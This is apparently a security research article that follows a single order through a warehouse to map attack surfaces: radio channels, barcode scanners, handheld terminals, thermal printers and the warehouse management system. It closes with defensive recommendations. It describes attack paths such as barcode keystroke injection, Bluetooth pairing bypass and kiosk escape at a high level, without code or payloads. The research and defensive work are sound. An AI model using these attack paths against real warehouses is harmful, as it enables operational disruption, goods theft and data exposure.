apology, a discount promo code — and the incident is forgotten.</p> <p>Now let’s multiply one late unicorn by several hundred thousand orders.</p> <p>Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.</p> <p>It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the <a href="https://apnews.com/article/4281388e1b2d196a5fc10fa0c996c7ed" rel="noopener" target="_blank">grocery giant Morrisons</a>, and the <a href="https://www.sec.gov/Archives/edgar/data/1020859/000102085925000054/unfi-20250802.htm" rel="noopener" target="_blank">2025 Form 10-K annual report</a> of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, <a href="https://www.securityweek.com/ceva-logistics-operations-disrupted-by-cyberattack/" rel="noopener" target="_blank">reports emerged</a> that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.</p> <p>This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.<br/> <input class="category_for_banner" data-type="posts" type="hidden" value="security-services-in-post-banner"/></p> <h2 id="tracing-the-unicorn">Tracing the unicorn</h2> <p>A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.</p> <div class="wp-caption aligncenter" id="attachment_121560-2" style="width: 1856px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1.png"><img alt="Stages of order fulfillment" aria-describedby="caption-attachment-121560-2" class="size-full wp-image-121560" decoding="async" height="1140" sizes="auto, (max-width: 1846px) 100vw, 1846px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1.png 1846w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-300x185.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-1024x632.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-768x474.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-1536x949.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-567x350.png 567w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-740x457.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-453x280.png 453w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-800x494.png 800w" title="paper-unicorn-warehouse-security1" width="1846" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121560-2">Stages of order fulfillment</p></div> <p>So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.</p> <ol> <li><strong> Unloading<br/> </strong>First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.</li> <li><strong> Receiving<br/> </strong>At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.</li> <li><strong> Putaway<br/> </strong>Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.</li> <li><strong> Storage<br/> </strong>Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.</li> <li><strong> Picking<br/> </strong>When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.</li> <li><strong> Sorting<br/> </strong>At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.</li> <li><strong> Packing<br/> </strong>During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.</li> <li><strong> Shipment<br/> </strong>Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.</li> </ol> <p>All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.</p> <p>Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).</p> <p>That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.</p> <h2 id="hunting-the-unicorn">Hunting the unicorn</h2> <p>Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.</p> <div class="wp-caption aligncenter" id="attachment_121561-2" style="width: 1441px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2.png"><img alt="Warehouse risks" aria-describedby="caption-attachment-121561-2" class="size-full wp-image-121561" decoding="async" height="997" sizes="auto, (max-width: 1431px) 100vw, 1431px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2.png 1431w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-300x209.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-1024x713.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-768x535.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-502x350.png 502w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-740x516.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-402x280.png 402w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-800x557.png 800w" title="paper-unicorn-warehouse-security2" width="1431" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121561-2">Warehouse risks</p></div> <p>The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.</p> <p>The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.</p> <p>The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.<br/> Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:</p> <ol> <li>External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment: <ol type="A"> <li>Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.</li> <li>Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.</li> </ol> </li> <li>Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.</li> </ol> <p>Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.</p> <h2 id="cornering-the-unicorn">Cornering the unicorn</h2> <p>Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.</p> <div class="wp-caption aligncenter" id="attachment_121562-2" style="width: 1440px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-scaled.png"><img alt="Warehouse attack surface" aria-describedby="caption-attachment-121562-2" class="size-full wp-image-121562" decoding="async" height="809" sizes="auto, (max-width: 1430px) 100vw, 1430px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-scaled.png 2560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-300x170.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-1024x580.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-768x435.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-1536x869.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-2048x1159.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-618x350.png 618w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-740x419.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-495x280.png 495w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-800x453.png 800w" title="paper-unicorn-warehouse-security3" width="1430" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121562-2">Warehouse attack surface</p></div> <p>On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.</p> <p>Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.</p> <h3 id="initial-attack-vectors">Initial attack vectors</h3> <h4 id="internet-facing-services">Internet-facing services</h4> <p>Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.</p> <h4 id="wi-fi-bluetooth-and-other-radio-channels">Wi-Fi, Bluetooth, and other radio channels</h4> <p>Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. <a href="https://securelist.com/zigbee-protocol-security-assessment/118373/" rel="noopener" target="_blank">Zigbee</a> and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.</p> <p>Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.</p> <p>That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.</p> <p>However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.</p> <h4 id="physical-network">Physical network</h4> <p>The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.</p> <p>That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.</p> <h4 id="barcode-scanners">Barcode scanners</h4> <p>Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.</p> <p>This makes the scanner an entry point into the core network in two ways.</p> <p>First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.</p> <p>Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by <a href="https://github.com/klsecservices/Advisories/blob/master/KLSA-00298-Honeywell-Bluetooth-Remote-Execution-of-System-Commands-Vulnerability.md" rel="noopener" target="_blank">CVE-2026-4272</a>.</p> <p>In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.</p> <h4 id="portable-data-terminals">Portable data terminals</h4> <p>Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.</p> <p>That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.</p> <h4 id="printers">Printers</h4> <p>Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.</p> <p>Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.</p> <p>Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.</p> <h3 id="impact-on-logistics-processes-attacks-on-wms">Impact on logistics processes (attacks on WMS)</h3> <p>With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.</p> <p>Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.</p> <p>To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.</p> <p>Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.</p> <p>A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.</p> <p>The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.</p> <p>The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.</p> <p>This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.</p> <p>Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.</p> <p>Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.</p> <p>PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.</p> <p>However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.</p> <h2 id="securing-the-unicorn">Securing the unicorn</h2> <p>We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.</p> <p>Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.</p> <p>Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.</p> <p>Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.</p> <p>Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.</p> <p>Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.</p> <p>Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.</p> <p>If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. <a href="https://www.kaspersky.com/enterprise-security/ics-security?icid=gl_sl_ics-security-contact_sm-team_c7dfc20b778ade14#contact" rel="noopener" target="_blank">Reach out to discuss a security assessment</a>.</p> </div> </div> </div> <!-- .entry-comments --> </div> </div></div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/19144935/sas-paper-unicorn-warehouse-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/sergeysidorov/"> <span>Sergey Sidorov</span></a> </li> <li> <a href="https://securelist.com/author/haydarkabibo/"> <span>Haidar Kabibo</span></a> </li> <li> <a href="https://securelist.com/author/victorzvarykin/"> <span>Victor Zvarykin</span></a> </li> <li> <a href="https://securelist.com/author/securityservices/"> <span>Kaspersky Security Services</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.</p> <p>Now let’s multiply one late unicorn by several hundred thousand orders.</p> <p>Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.</p> <p>It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the <a href="https://apnews.com/article/4281388e1b2d196a5fc10fa0c996c7ed" rel="noopener" target="_blank">grocery giant Morrisons</a>, and the <a 